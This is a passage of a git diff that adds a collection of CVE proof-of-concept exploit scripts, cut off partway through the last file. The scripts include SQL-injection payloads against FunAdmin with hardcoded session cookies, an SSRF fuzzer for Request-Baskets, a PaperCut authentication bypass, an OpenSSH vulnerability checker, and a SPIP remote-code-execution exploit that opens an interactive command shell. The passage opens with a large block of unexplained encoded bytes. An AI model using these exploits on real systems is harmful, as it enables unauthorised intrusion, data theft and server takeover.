5\x2e\x3c\xe2\x96\x0b\xa3\xcf\xec\x4f\x05\xc2\xb7\x88\x59\x09\x90\x90\x87\xef\x7e\x5c\x4d\xb3\xa9\x8f\xdb\xa5\xd6\xc5\x05\x01\x93\x8a\xf5\x32\x72\x6b\x59\xb8\x41\xdc\x54\x2d\x65\xd8\x35\x30\x39\x95\x9e\xee\xdc\xe4\x2e\x47\x5c\xdd\x68\x7a\x07\x59\xe6\xfe\x0f\x32\xc0\x7d\xe7\x19\xf0\x84\xfb\x98\xb4\x48\x09\xc5\x97\xd7\x3f\x37\xab\x7a\x06\xa6\xc9\x38\xf8\xda\xd3\xb8\x21\x12\x56\x3b\x3e\xa9\x71\xb1\xc1\x16\x0c\xd6\xef\x78\x5b\x5e\x84\x82\x4f\x79\x9b\xd9\xe1\xad\x2e\x88\xd6\x32\x8e\x32\x8d\x10\x50\x17\xa8\xa8\x48\x22\xff\x22\x5d\x9f\xc1\x10\x7b\x82\xe3\xdf\xac\x45\xc4\xc7\x27\x86\x53\x42\x31\x31\x8f\xf4\xea\x60\xc3\xe6\x1c\x84\x83\xa8\x20\xbf\x0d\x60\xbb\xd8\xe2\xa2\x29\x3f\x12\xe4\xca\x35\x2a\xa7\x5e\x42\x51\x91\x36\x1e\x60\x5d\x2f\x34\x10\x2a\x33\x02\x8a\xc4\xdf\x36\x6d\xb8\x3a\x7b\xfd\xff\xd0\xf6\x8c\x5f\x77\x58\x92\x9d\x64\xc9\xf8\x53\xef\xe7\x33\x1f\x83\x2f\xc6\x1b\xe4\x3d\x67\x9d\x42\x7a\x4f\x95\x38\xc7\xc3\x4b\xc8\xdf\x74\xa2\xb1\x46\x2e\xed\x46\x41\x77\x4e\x95\x18\xcd\xc7\xa1\x2d\xf9\x18\x21\x8b\x98\x49\x2a\x85\xd5\x1c\xd1\xa0\x98\x15\x9b\x94\x21\xe7\xab\x1d\x12\x1b\xa7\xb8\x5f\xdf\x20\x29\xe7\xde\xb9\x25\x84\xe0\x9d\x99\x40\x3b\xad\x40\xee\xba\x16\x35\xe2\x6f\xe1\x2a\x53\xc2\x2f\xf2\x31\x3c\xab\x6f\xb2\xab\x31\x03\xf5\x52\xac\x2a\x57\xea\x5c\xd4\x47\x71\x61\x59\x0e\x9d\xd3\xbb\x5d\x18\x57\x1e\xbe\x9e\x52\x10\x99\xa5\xf9\x84\xec\x4f\x53\xba\xc9\x90\xa8\x1c\xa2\xf3\x65\x64\xf2\x9e\xa3\x1a\xf7\xdd\xa4\x0b\xd2\xf8\x11\xb2\x71\xc3\x3d\x2e\xa9\xbd\x0f\xda\x61\xc2\x76\x63\xd0\xc4\xcf\xcc\xec\x9d\x3a\xce\x0f\xaf\x05\xb7\x57\x2b\xbb\xb3\x7c\x61\xe4\x7b\x61\xac\x9b\xbc\x85\x71\xfb\x94\x6f\x47\x90\xd4\x28\x25\x43\x88\x40\xfd\xeb\xa6\x34\x1a\x80\xb3\xa8\x74\x74\x4e\x3f\x72\x4f\xec\x25\xad\x0f\x9a\xeb\x15\x51\xee\x7b\x4a\x53\x86\x2e\xa9\x5c\xac\x0e\x15\x35\xc5\x1e\x8f\xb5\xa0\xd2\x6e\x43\x53\x92\x73\x1f\x2b\x08\xe9\xb8\x03\x49\xb4\xb9\xa9\x70\x18\xfa\x8d\xda\x25\xa6\xb7\xeb\x7b\xd1\x90\x61\x5c\xe7\x4a\xab\xaf\xa7\x39\x43\x15\x7f\xdf\x7f\x82\x08\x61\xe8\x57\x5a\xb3\xb0\xbc\x86\xc5\x72\x51\xba\xad\xde\x2b\x69\xdc\x47\xfc\x65\xfa\x1f\xb8\x72\x7f\xf6\x57\xb0\xab\xf0\xa7\x11\x22\xaf\xec\xdb\xe9\x70\x39\x22\x4d\xc8\xff\x73\x17\xf6\xc2\xa2\xa9\x6f\xdd\x98\x2b\x09\x8a\x3a\xed\x18\x82\xec\x5f\x8d\xd0\xbd\xf8\xf1\xa4\x2c\xba\x42\x3d\x46\xf5\x8b\x01\x46\xd8\xf7\x5e\xc7\xc3\xd2\x0f\x91\xa7\xaa\x90\x48\xa3\xa6\x34\xab\xce\xfe\xa7\xbc\x05\xc2\xe4\x93\xd4\x71\x7a\x7e\x85\x7c\x65\x80\x25\x81\x43\x85\x0d\x01\x9d\x41\xd6\xaa\x53\xd3\xf1\x36\xd1\x57\x5c\x3e\x9f\x8c\xe9\xa2\x7e\xdd\x98\x19\x5f\x8a\xd7\x65\x6a\xb2\x14\x00\xae\x21\x77\xdf\xba\x9a\x41\x29\xa8\xee\x68\xc7\x6f\xf5\xd2\x90\x51\x05\xd2\xaf\x85\xd4\x52\x4d\x98\x7c\xcd\x70\x6c\x57\xc5\x39\x88\x26\xab\x86\x87\xe0\xeb\xc1\xf2\x11\x26\x9e\x08\x37\xd9\x21\x4b\x08\xae\x22\xe3\x9a\xa5\x0e\xda\x59\x3b\x39\x39\x4c\x90\x8a\xc4\xf7\x4a\x30\x42\xd8\x96\x1e\x18\x21\x6c\xaa\x60\x67\x13\x6e\xc2\x3b\xe2\x67\x23\xe5\x07\x5c\xc6\x00\x5c\xe1\x8d\x76\x0a\xb4\xfb\x2c\xf7\xd3\xdd\x18\x19\x95\x6a\x84\xfb\x1e\x9d\x7f\x80\x2a\x53\x0f\xa5\xb8\x5d\xe2\x0a\x8c\x10\xb6\x78\x81\x42\x5b\x8b\xf1\x15\x86\x12\x9b\x30\x5e\x31\x26\x57\x6c\x8f\x22\x37\xad\xa4\x5b\xe6\x91\xa5\xdd\xb7\x1a\x9b\xfc\xef\x24\x9e\xd0\xe2\x90\xf9\x64\x01\x70\x47\x1b\x11\x15\xe0\xd9\xa9\x31\x11\x6d\x53\xeb\x41\x38\x30\x8c\x0a\xcc\x5f\x75\x5e\x59\x51\x3e\xc7\x6d\x50\x17\x79\xf0\x13\xcb\x9b\xb3\xaa\x3e\x89\x85\xa9\x61\xec\xa7\x86\x81\x2f\xa8\xf6\xe7\x0f\x69\xdb\xaf\x8c\x43\x13\x53\xc8\x20\x3e\x49\x1e\x07\xa8\x2b\x46\x23\xa1\x06\xdd\xac\x65\x7e\xaa\x74\x0d\x95\x2a\x49\xf2\x36\x0d\x2a\x52\xef\x79\x36\xfc\x35\x20\x5b\x9b\xff\x74\x51\x5a\xbf\x90\xf0\x54\x34\x1c\xe5\x13\x49\x20\x66\xe5\x4e\xda\x7e\xe1\x7a\x7d\xc8\xe3\xd2\x44\x61\x68\x29\x8e\x24\x31\x69\xf7\x8c\x5b\x0e\xf6\xa1\xbe\x9f\xc0\x9f\x70\x94\x82\xf3\xef\xfa\xce\xdd\xaa\xbd\x44\x9c\x1f\x27\xa5\x3a\x97\x6e\xdf\x17\xdc\x62\x37\x26\x69\x0f\xbb\x12\x4a\x93\x27\x7f\x32\x78\xe8\x7b\xdc\x5e\xbf\xb2\x7d\x28\x39\x58\xc2\x43\x84\x96\x50\x61\x7c\x3b\xf8\xef\x61\x2a\x8b\x38\xd5\x0b\x3d\xa0\x7c\x3b\x1d\xc7\x83\x41\xa7\xac\x48\x36\x72\x46\xa1\xda\xa9\x06\x73\xb5\xd7\x5d\x77\x7c\x8d\x7a\x68\x4e\xa4\x78\x63\x8c\x94\xe4\xf7\x10\xc4\x2b\xad\x00\x08\x2b\x5e\x7a\x91\x55\x56\x6d\x59\x9a\x80\x99\xf6\xc7\xad\x0a\xdd\xe7\x5b\xaf\xc9\x11\x68\xe3\x00\x18\x22\x58\x5a\xe8\x5d\x12\x0c\xa6\x47\x92\xa3\x9a\xdc\x0c\xba\xa4\x98\x8b\x24\x34\x2c\x25\xcd\x76\x3a\xf3\x83\x83\xf7\xac\x94\x48\x0f\x79\xcf\x05\x24\xc7\xb0\x0d\x32\xfe\x68\xba\x82\xd6\x3b\x2b\x9c\x58\x9a\x01\xe0\x6a\x71\x38\x2b\xd6\x21\x6b\x55\x9b\xf8\x33\x3b\x70\xb6\x25\x86\xea\x0a\xdd\x7b\x3d\x77\xd4\xfb\x7b\x77\xdb\x3c\x77\x55\xf8\x9a\xbb\x84\x0f\xaa\xb5\x3c\x01\x58\x27\x93\x24\x11\xb3\x40\xa1\x0a\xaa\x86\x58\xdf\x65\x5a\xe0\x24\x38\x1a\xa9\x56\xbd\xa7\x4a\x94\x5f\x81\xb9\x62\xab\xf0\xf6\xc5\xd1\x1b\x2b\x55\x8d\x7e\x16\x89\x2f\x1d\xa8\xda\xe4\x8e\x10\x06\x31\x4e\x43\x2c\x72\x57\x9d\x7f\x6b\xbd\x03\xce\x05\x64\x6f\x63\xc9\x96\x3f\x44\x12\x1a\x6c\xc6\x99\x31\x85\xb6\xfa\x58\x4e\x69\x65\x9a\xa9\x52\x27\x7d\xa3\x5b\xa2\x83\x6a\x96\xeb\x52\x92\x6c\x87\xec\xe5\x7a\xe0\x3b\xc0\xa4\xe6\xe9\x49\xdb\x98\x64\xf1\x0c\x92\x05\x95\x01\x77\xcf\xdf\xf2\x19\x85\x1d\x54\xf6\x5f\xcf\x3d\x01\x6a\x11\x46\xec\x6f\x03\xb6\xd8\x4f\xfc\x55\x67\x64\xbe\x54\x13\x0d\x8a\x40\xaa\xf2\xbc\xe9\x1c\x44\x9e\x1e\xae\x35\x79\xb9\x36\x89\x50\x47\xaa\x2e\x67\xd8\xbd\x2a\x90\x47\x88\xe0\xe4\xc8\xe2\x60\x67\xd4\x4e\x8e\xab\x53\x2a\x92\xc1\x1c\x2d\xd6\x36\x0f\x2e\xe1\xe8\x7d\x03\x39\xb5\x9d\xff\xb3\x7f\xfa\xd9\x0b\x50\xc7\x85\x90\x74\x87\xe7\x38\xdc\x07\x56\x24\x0d\x0b\x8b\x0d\xc1\x0c\x6c\x14\xc2\xe1\x03\x0a\x5b\x83\x8c\xc0\x32\x44\x3d\xa2\xa6\x37\xfd\x93\x8b\x97\x68\x7c\xbb\x02\xda\x0b\xfa\xb1\x59\xd5\x54\x38\x2d\x51\x46\xd2\xe6\xdb\xf9\x99\x0c\x95\x6d\x52\x23\xf2\xbf\xbc\x60\xad\x27\xd4\xbc\xbe\x9f\xc5\xb6\x73\x68\x84\x7b\x5a\xfe\x99\x4f\x30\x98\x31\x44\xd3\x08\x4a\xf2\xfd\x44\x5d\xd7\x08\x01\x87\x7c\xbd\x1b\x77\xf1\x0a\x83\x61\x2a\xe2\x42\xf3\xc4\x17\x08\x56\xf1\xf6\xfc\x14\x74\xba\x57\x9a\x3d\xfe\xa4\x69\xdd\x9d\x01\x44\x8f\x7c\xf5\x6a\x45\x7c\x51\x3a\x8c\xde\xc6\x83\x12\x30\x5f\x74\xb4\x7f\xf7\x1e\x50\x7b\x12\x71\xf5\x35\xb7\x3c\xc6\xb8\x7e\x4f\xd2\x1e\x56\x4c\xce\xad\xab\xe3\xb8\x69\x33\x2e\xf9\x4d\x19\x43\xdb\xf8\x61\x3a\x64\xb9\x60\xcc\xb7\xdf\x0a\x1f\xae\x7d\xab\x31\x78\x25\x99\xf9\x1c\x48\x25\x74\x00\x69\x3d\xf9\xa9\x4f\x1f\xb3\xaa\x20\xb8\x63\xed\x55\x91\xbc\xb7\xd2\xca\xdc\xe5\x09\x22\xe9\xaa\x38\xe0\x58\xc4\x5c\xd9\x41\x38\x85\x19\x21\x49\x26\xda\xac\x1c\xe6\x2e\xb3\xe0\x5e\xed\x50\x86\x89\x53\x0b\xc3\x5c\xc9\x93\xd3\xaf\x6e\xf3\xea\xa0\xa6\x56\x7c\x14\x81\xc6\xd2\x88\x10\x8e\x8c\xeb\xf0\xba\x36\xa2\x3b\x72\xa9\xc9\xd6\xbb\x24\x60\xc5\x15\xdd\x13\x03\x50\x9c\x1f\x56\x10\x4e\x53\xc6\xb0\x3e\xdb\xb2\xb6\x6f\xbf\x61\xc0\x0b\x56\xda\xa2\xee\x33\xd5\xd2\x29\x9b\xcc\x2f\xc8\xf0\x25\x11\x7d\x95\x86\x71\xc9\x2a\xc3\x41\x01\x3e\xe3\x8b\xbd\x11\xb5\x55\x0e\x0c\xdf\x40\x38\xa5\xe9\x50\x18\xa7\x9f\xf9\x90\xca\x50\x47\x81\x83\x7c\x86\x82\xcf\x98\x94\x57\x90\xaf\x68\x05\xaf\xdc\x1a\x4a\xdc\x99\x4d\xdd\x66\x1c\xad\x62\x94\xf9\xed\x6f\x08\x7c\xdd\x44\x07\x43\xf5\xb5\xcf\x47\xc2\xbb\x3e\xc7\x83\x79\x77\xd0\x99\x03\x21\xb0\x4b\x6b\xc8\x9b\xc7\xca\xc7\x1c\xca\xaf\xa0\x26\xe0\xc6\x31\xfb\xa2\x5d\x67\xdd\x69\x37\xfc\x07\x79\x74\x72\x6b\xbb\x36\xce\xec\xf7\x39\x48\x66\x1f\x3a\xd4\x59\xc8\x8c\x4d\xed\xb5\x4f\xc7\x91\x4e\xf0\x56\x7c\x85\xb6\x57\x9b\xe7\x2b\x85\xed\xbc\xe8\x7b\x4a\xb9\xb7\x5a\xac\xd3\xbd\xd7\x42\x27\x19\x3d\x2f\x24\xe1\x48\x0e\x05\x6b\x25\x3b\xa8\x66\xdf\xda\x5e\x43\x7e\xc3\x69\x07\xbb\x5c\xbb\x17\x36\xf8\x38\xb3\x7d\x72\xac\x90\x80\x8c\x73\xe1\x15\x19\xd9\x91\x76\x09\x9d\x08\x8d\x93\x04\x1a\xc8\xaa\x9c\x27\x00\x39\xce\x9c\x84\x93\x90\x9a\x13\xb3\x4d\x19\xce\xfb\x56\x81\xec\x72\x3f\x7a\x2a\xd0\xe9\xe9\xf3\xd2\x98\x06\x81\x77\xfb\xe2\x7f\xf0\x20\xb5\xa3\x7e\xe6\x56\xd5\x04\xcb\xb0\x10\xa3\xbd\xd7\xd6\x36\x89\xdc\x57\x28\x55\x47\x5a\xdf\x88\x2a\xda\x43\xfc\x63\x3a\xd7\xe0\xd1\xce\x11\x6a\x9a\xd4\x00\x7c\x0b\x03\xf2\x74\xb2\xc2\xec\x4b\x31\x9c\x6c\xbe\x25\x53\x56\xa6\x6a\x89\xf7\xcd\xb6\xa3\x67\xa8\x3d\xd8\x8f\x18\xf4\x4f\x30\x65\x73\x9b\xaf\xab\xb6\x48\x6f\xc3\x94\x47\x1a\x59\xb0\x15\x47\x2a\x6c\xac\x32\x16\xee\xcf\xf2\x4e\xc0\xff\x11\x6b\x5b\x55\x81\x64\xa3\x9d\x4e\x9a\x77\xfa\x43\x72\x61\xde\xab\x28\x6d\x18\x04\x3d\xb1\xee\x47\x9a\x85\xd0\x05\x4f\xec\x1d\xd3\xf1\x8b\xa6\xc1\xec\xdc\xb1\x9b\xe5\x28\xea\xda\x22\x50\xc1\x11\x22\x5f\xa6\x4e\xde\x99\xb1\xc7\xf5\x6b\x59\x2e\x5d\xb9\x10\x46\xf4\x56\xaf\x0c\xf0\x73\x06\x4f\x9b\x41\xd1\x09\xbb\x71\x9e\x65\x8d\x28\x57\x14\x2d\x6a\x40\xd0\x9e\x11\x24\xa6\x8d\x2b\x67\xb3\x29\x89\x58\x16\x58\x61\xd5\x4f\x25\xef\x50\x0c\xb5\x03\xc4\x14\xaa\x41\x64\xa0\xdf\xf9\xbd\xb6\xf9\x03\x41\x1f\x7b\xf9\xc4\x64\xe5\x7c\x75\xee\x00\x01\xff\xb2\x9f\x70\x09\x84\x3c\x19\x7b\xda\x37\xe9\xd2\xe9\x8c\x07\x45\x72\x5b\x45\x4a\x4b\xf3\x29\x60\xb5\x7a\xaa\x66\x94\x61\xf4\xac\x7b\xcc\xbd\xaf\xd3\x14\x9d\x04\x67\x01\xb9', 2) \ No newline at end of file diff --git a/CVE-2023-24775.py b/CVE-2023-24775.py new file mode 100644 index 0000000..4c49113 --- /dev/null +++ b/CVE-2023-24775.py @@ -0,0 +1,151 @@ +import requests +import sys +import urllib.parse +import uuid + + + +'''Генирация X-CSRF-TOKEN''' + +csrf_token =uuid.uuid4() +csrf_token =str(csrf_token) +csrf_token = csrf_token.replace('-', '') + + + +'''Добавление общих для двух сплоиитов заголовков''' +headers = {} +headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" +headers["Accept"] = "application/json, text/javascript, */*" +headers["Accept-Language"]= "zh-CN,zh" +headers["X-Requested-With"] = "XMLHttpRequest" +headers["X-CSRF-TOKEN"] = csrf_token + + + +'''Сплоит для CVE-2023-24775''' +def poc_CVE_2023_24775(url): + + + + headers["Host"] = url + headers["Content-Type"] = "application/x-www-form-urlencoded" + headers["charset"] = "UTF-8" + headers["Accept-Encoding"]= "gzip" + + + url=str(url) + url=url+"/backend/member.memberLevel/index?parentField=pid&" + + + '''Добавление куки файлов - внимание если эти куки вам не подхдоят можете заменить на ваши сессионные куки ''' + cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041','PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D' } + + + ''' Ввод sqli если вы не ввели ничего то ввод стандартной иньекции''' + sqli= str(input("input selectFields[name]=name&selectFields[value]=your select sqli")) + + + if(len(sqli)!=0): + + sqli = urllib.parse.quote_plus(sqli) + url=url+sqli + + else: + url=url+"selectFields%5Bname%5D=name&selectFields%5Bvalue%5D=extractvalue%281%2Cconcat%28char%28126%29%2Cuser()%29%29" + + + print(url) + + + '''Запрос на инькцию и вывод ответа''' + sqli_request= requests.get(url, cookies=cookies, headers=headers) + + print(sqli_request.text) + + + '''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/9''' + if('message' in sqli_request.text): + + print('**POC CVE-2023-24775 sqli works** :)') + else: + + print('**POC CVE-2023-24775 sqli not works** :(') + + + +'''Сплоит для CVE-2023-24780''' +def poc_CVE_2023_24774(url): + + + + headers["Host"] = url + headers["Origin"] = url + headers["Accept-Encoding"] = "gzip, deflate" + + + url=str(url) + url=url+"/databases/table/columns?id='" + + + '''Добавление куки файлов - внимание если эти куки вам не подхдоят, можете заменить на ваши сессионные куки ''' + cookies={'Hm_lvt_ce074243117e698438c49cd037b593eb':'1673498041', 'ci_session':'ca40t5m9pvlvp7gftr11qng0g0lofceq', 'PHPSESSID':'591a908579ac738f0fc0f53d05c6aa51', 'think_lang':'zh-cn', 'Hm_lvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'Hm_lpvt_8dcaf664827c0e8ae52287ebb2411aed':'1674888420', 'auth_account':'YToxOntzOjEyOiJhY2Nlc3NfdG9rZW4iO3M6MzI3OiJleUowZVhBaU9pSktWMVFpTENKaGJHY2lPaUpJVXpJMU5pSjkuZXlKdFpXMWlaWEpmYVdRaU9qRTFORGdzSW1Gd2NHbGtJam9pSWl3aVlYQndjMlZqY21WMElqb2lJaXdpYVhOeklqb2lhSFIwY0hNNkx5OTNkM2N1Wm5WdVlXUnRhVzR1WTI5dElpd2lZWFZrSWpvaWFIUjBjSE02THk5M2QzY3VablZ1WVdSdGFXNHVZMjl0SWl3aWMyTnZjR1Z6SWpvaWNtOXNaVjloWTJObGMzTWlMQ0pwWVhRaU9qRTJOelE0T0RrMU1EQXNJbTVpWmlJNk1UWTNORGc0T1RVd01Dd2laWGh3SWpveE5qYzFOVGd3TnpBd2ZRLkJITHd5WU5nNkpVVUZmMFFucGM0aHk2YlZ1c1V6WkVqR3N2SElva0pxYU0iO30%3D', 'clound_account':'YTo0OntzOjI6ImlkIjtpOjE1NDg7czo4OiJ1c2VybmFtZSI7czoxMDoibXlmdW5hZG1pbiI7czo4OiJuaWNrbmFtZSI7czowOiIiO3M6NjoiYXZhdGFyIjtzOjM2OiIvc3RhdGljL2Zyb250ZW5kL2ltYWdlcy9hdmF0YXIvNi5qcGciO30%3D'} + + + + ''' Ввод sqli, если вы не ввели ничего то ввод стандартной иньекции''' + sqli= str(input("input sqli:")) + + + if(len(sqli)!=0): + + sqli = sqli.replace(' ', '+') + url=url+sqli+"--+qRTY" + + else: + url=url+"+AND+GTID_SUBSET(CONCAT(0x12,(SELECT+(ELT(6415=6415,1))),user()),6415)--+qRTY" + + print(url) + + + '''Запрос на инькцию и вывод ответа''' + sqli_request= requests.get(url, cookies=cookies, headers=headers) + + print(sqli_request.text) + + + + '''Проверка есть в тексте ответа sqli_request "message", если есть то скорее всего сплоит работает: https://github.com/funadmin/funadmin/issues/6''' + if('message' in sqli_request.text): + + print('**POC CVE-2023-24774 sqli works** :)') + else: + + print('**POC CVE-2023-24774 sqli not works** :(') + + + +if __name__ == "__main__": + + + args = ['-h','-u'] + + if args[0] in sys.argv: + print("-h= help, -u=url; python sql.py -u https://site.com") + + + if args[1] in sys.argv: + + + url=sys.argv[2] + + which_cve=int(input("which cve test,CVE-2023-24775 or CVE-2023-24780? if CVE-2023-24780 enter 1, if CVE-2023-24775 enter 2:")) + + + if(which_cve==1): + + poc_CVE_2023_24775(url) + + if(which_cve==2): + + poc_CVE_2023_24774(url) diff --git a/CVE-2023-25136_POC.py b/CVE-2023-25136_POC.py new file mode 100644 index 0000000..c19a011 --- /dev/null +++ b/CVE-2023-25136_POC.py @@ -0,0 +1,43 @@ +# CVE-2023-25136 POC by LodzieNZ (under the GPL3 license) +# Telegram: t.me/lodzie +# Twitter: @LodzieIsHere + +from fabric import Connection +from termcolor import colored +import argparse + +class UniqueSSHVulnerabilityChecker: + def __init__(self, client_name): + self.client_name = client_name + + def check_vulnerability(self, target_ip): + try: + conn = Connection(target_ip, connect_kwargs={'password': ''}) + conn.client.version = f"SSH-2.0-{self.client_name}" + conn.open() + + print(colored(f"{target_ip}: Exploitable", 'green')) + conn.close() + except Exception: + print(colored(f"{target_ip}: Not Exploitable", 'red')) + +if __name__ == '__main__': + print(" == CVE-2023-25136 POC by LodzieNZ ==") + + parser = argparse.ArgumentParser(description='Check to see if CVE-2023-25136 is exploitable on a list of IPs.') + group = parser.add_mutually_exclusive_group(required=True) + group.add_argument('-t', '--target', metavar='IP_ADDRESS', help='Input IP address here.') + group.add_argument('-p', '--filepath', metavar='FILE_NAME', help='Path to a file containing a list of IPs to test.') + args = parser.parse_args() + + client_name = "PuTTY_Release_0.66" + checker = UniqueSSHVulnerabilityChecker(client_name) + + if args.ip: + checker.check_vulnerability(args.ip) + else: + file_name = args.file + with open(file_name, 'r') as file: + for line in file: + ip_address = line.strip() + checker.check_vulnerability(ip_address) \ No newline at end of file diff --git a/CVE-2023-27163.py b/CVE-2023-27163.py new file mode 100644 index 0000000..4e5fee3 --- /dev/null +++ b/CVE-2023-27163.py @@ -0,0 +1,54 @@ +#!/bin/python3 + +from argparse import ArgumentParser +from secrets import token_hex as genBasketName +from urllib.parse import urljoin +from json import loads + +from logging import basicConfig +from logging import DEBUG, INFO +from logging import debug, info + +from requests import post, get, delete + +parser = ArgumentParser(prog="CVE-2023-27163", + description="Example usage: python3 CVE-2023-27163.py http/s://: -t http/s:/// (Target can be internal services)", + epilog="SSRF on Request-Baskets (<= 1.2.1)") + +parser.add_argument("BASE_URL", type=str, help="vulnerable base url (eg: http://localhost:55555/)") +parser.add_argument("-t", "--target", required=True, type=str, help="URL which the server will request") +parser.add_argument("-w", "--wordlist", required=True, type=str, default=False, help="Wordlist to fuzz") +args = parser.parse_args() + +print("POC of SSRF for Request-Baskets (CVE-2023-27163)\n") + +lines = [] + +with open(args.wordlist, 'r') as f: + for line in f: + url = args.target + '/' + line.strip() + payload = { + "forward_url": url, + "proxy_response": True, + "insecure_tls": False, + "expand_path": True, + "capacity": 250 + } + + basket_name: str = genBasketName(5) + basket_url: str = urljoin(urljoin(args.BASE_URL, "/api/baskets/"), basket_name) + debug(f"Creating basket at {basket_url}") + + response = post(basket_url, json=payload) + token: str = loads(response.text)['token'] + debug(f"Token received: {token}") + + response = post(basket_url, json=payload) + + response = get(urljoin(args.BASE_URL, basket_name), headers={"Authorization": token}) + + if response.status_code == 200: + print('Response code 200 on url: ' + url) + print(response.content) + + assert delete(urljoin(urljoin(args.BASE_URL, "/api/baskets/"), basket_name), headers={"Authorization": token}).status_code == 204 \ No newline at end of file diff --git a/CVE-2023-27350.py b/CVE-2023-27350.py new file mode 100644 index 0000000..d1f60c8 --- /dev/null +++ b/CVE-2023-27350.py @@ -0,0 +1,32 @@ +import requests +from bs4 import BeautifulSoup +import re + +def vuln_version(): + ip = input("Enter the ip address: ") + url = "http://"+ip+":9191"+"/app?service=page/SetupCompleted" + response = requests.get(url) + soup = BeautifulSoup(response.text, 'html.parser') + text_div = soup.find('div', class_='text') + product_span = text_div.find('span', class_='product') + + # Search for the first span element containing a version number + version_span = None + for span in text_div.find_all('span'): + version_match = re.match(r'^\d+\.\d+\.\d+$', span.text.strip()) + if version_match: + version_span = span + break + + if version_span is None: + print('Not Vulnerable') + else: + version_str = version_span.text.strip() + print('Version:', version_str) + print("Vulnerable version") + print(f"Step 1 visit this url first in your browser: {url}") + print(f"Step 2 visit this url in your browser to bypass the login page : http://{ip}:9191/app?service=page/Dashboard") + + +if __name__ =="__main__": + vuln_version() diff --git a/CVE-2023-27372.py b/CVE-2023-27372.py new file mode 100644 index 0000000..c61fd37 --- /dev/null +++ b/CVE-2023-27372.py @@ -0,0 +1,136 @@ +import re +import bs4 +import sys +import base64 +import argparse +import requests +from time import sleep +from lxml import html +from urllib.parse import urlparse + +class SPipRCEPoC: + def __init__(self): + self.options = self.parseArgs() + + def parseArgs(self): + parser = argparse.ArgumentParser(description="CVE-2023-27372 SPIP < 4.2.1 - RCE PoC") + parser.add_argument("-u", "--url", default=None, help="SPIP application domain E.g., https://url.com") + args = parser.parse_args() + + if args.url is None: + parser.print_help() + sys.exit(1) + + return args + + def get_csrf(self, url): + r = requests.get('%s/spip.php?page=spip_pass' % url, timeout=5, verify=False) + tree = html.fromstring(r.content) + csrf_input = tree.xpath('//input[@name="formulaire_action_args"]') + if csrf_input: + csrf_value = csrf_input[0].get('value') + return csrf_value + else: + return -1 + + + def payload(self, url, csrf, payload): + data = { + "page": "spip_pass", + "formulaire_action": "oubli", + "formulaire_action_args": csrf, + "oubli": payload # oubli = vuln param + } + r = requests.post('%s/spip.php?page=spip_pass' % url, data=data, timeout=10, verify=False) + return r.text + + def parse_output(self, text): + pattern = re.compile(r'\[S\](.*?)\[E\]', re.DOTALL) + matches = pattern.findall(text) + return "\n".join(matches) + + def furl(self, url): + parsed_url = urlparse(url) + return f"{parsed_url.scheme}://{parsed_url.netloc}{parsed_url.path}" + + def check_2(self, url): + csrf = self.get_csrf(url) + if csrf == -1: + print("[-] Unable to grab CSRF Token") + print("[!] Ensure to retry this a minimum of 3-5 times as sometimes it is unable to grab it, this doesn't mean your target isn't vulnerable.") + return + + cmd = "echo [S] ; whoami ; echo [E]" + cmd_encoded = base64.b64encode(cmd.encode()).decode() + command_str = "".format(cmd_encoded) + payload = "s:{}:\"{}\";".format(len(command_str), command_str) + + vulnerable = False + for _ in range(2): + output = self.payload(url=url, csrf=csrf, payload=payload) + if output: + vulnerable = True + if 'whoami' in output: + print("[!] The Target {} is vulnerable but achieving RCE failed?".format(url)) # figure out why later (if I have time) + else: + print("[+] The Target {} is vulnerable".format(url)) + break + + if not vulnerable: + print("[-] The Target {} is not vulnerable".format(url)) + else: + print("[!] Spawning interactive shell") + sleep(2) + print("[!] Shell spawned successfully. Ensure to re-type commands in the event they do not provide output.") + while True: + try: + cmd = input("$ ") + if cmd.lower() == "exit": + break + + command_str = "".format(cmd) + payload = "s:{}:\"{}\";".format(len(command_str), command_str) + csrf = self.get_csrf(url=url) + result = self.payload(url=url, csrf=csrf, payload=payload) + output = self.parse_output(result) + print(output) + + except KeyboardInterrupt: + print("[+] Exiting...") + break + + def check(self, url): + csrf = self.get_csrf(url) + if csrf == -1: + return False + + cmd = "echo [S] ; whoami ; echo [E]" + cmd_encoded = base64.b64encode(cmd.encode()).decode() + command_str = "".format(cmd_encoded) + payload = "s:{}:\"{}\";".format(len(command_str), command_str) + result = self.payload(url=url, csrf=csrf, payload=payload) + output = self.parse_output(result) + + if output: + return output + else: + return False + + def run(self): + options = self.options + + requests.packages.urllib3.disable_warnings() + requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' + try: + requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' + except AttributeError: + pass + + if options.url: + 